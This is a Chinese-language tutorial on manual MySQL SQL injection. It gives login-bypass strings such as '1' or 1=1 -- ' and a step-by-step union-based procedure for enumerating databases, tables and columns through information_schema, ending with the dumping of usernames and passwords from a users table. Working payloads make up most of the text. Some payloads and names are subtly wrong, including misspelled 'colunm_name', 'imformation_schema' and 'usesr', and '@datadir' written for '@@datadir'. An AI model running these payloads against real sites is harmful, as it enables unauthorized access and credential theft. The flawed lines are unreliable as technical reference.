mysql手工注入
一、SQL注入的理解
将特殊SQL语句添加到查询url后面,以获取非法的数据的操作。
1.布尔注入 //返回真或假
2.联合注入 //一起查询
3.延时注入 //定时器查询
4.报错注入 //报错,但信息是我们想要的
二、布尔注入
布尔注入可以用在密码绕过这块。原理:利用引号提前闭合SQL语句 和 or的一真即真 的特点相结合进行密码绕过。
正常输入用户名和密码时执行的SQL如下:select username,password from admin where username = 'root' and password = ‘123456’;
利用密码绕过登录时执行的SQL如下:
select username,password from admin where username = '1' or 1=1 -- ' and password = '123';
密码绕过常用的代码:
1' or 1=1 -- '
1' or 2>1 -- '
1' or true -- '
注:这里 -- 是注释作用
三、联合注入
联合查询需要经过一下步骤:
1.判断注入点
利用 and 1=1 和and 1=2来判断是否是注入点。
2.爆出当前查询列数
利用 order by 或者 group by 结合折中法爆出当前查询总的字段数。猜到4时报错,猜到3时正常,说明列数为3。
3.爆可显位置
爆出的长度为3,参数值想办法让其报错(可以加负号等),然后进行联合查询?id=-1 union select 1,2,3 爆出可显位置。爆出位置2和3。
4.利用可显位置爆出数据库名。此时也可以爆出数据库版本、当前用户、数据库路径、数据库名称等相关信息
version--mysql版本
user--数据库用户
database--数据库名
@datadir--数据库路径
@@versioncompileos--操作系统
5.爆表名
(1)用点连接库下存放表名的tables表
(2)然后用where来精确查询存放在table_schema中的库名
(3)用limit函数来进行遍历
(4)用-- 注释防止报错
最终payload为:
union select 1,2,table_name from information_schema.tables where table_schema='sqlzhuru' limit 1,1 --+
拿到记录账号密码的users表
6.爆字段
爆出表名后,接下来爆想要的列名,思路如上,遍历出想要的字段,username和password。
最终payload为:
union select 1,2,colunm_name from imformation_schema.colunms where table_schema='sqlzhuru' and table_name='usesr' limit 1,1 --+
修改limit函数,遍历第二个想要的列名 union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 2,1 --+
7.整合信息爆出用户名和密码
union select 1,username,password from users limit 1,1 --+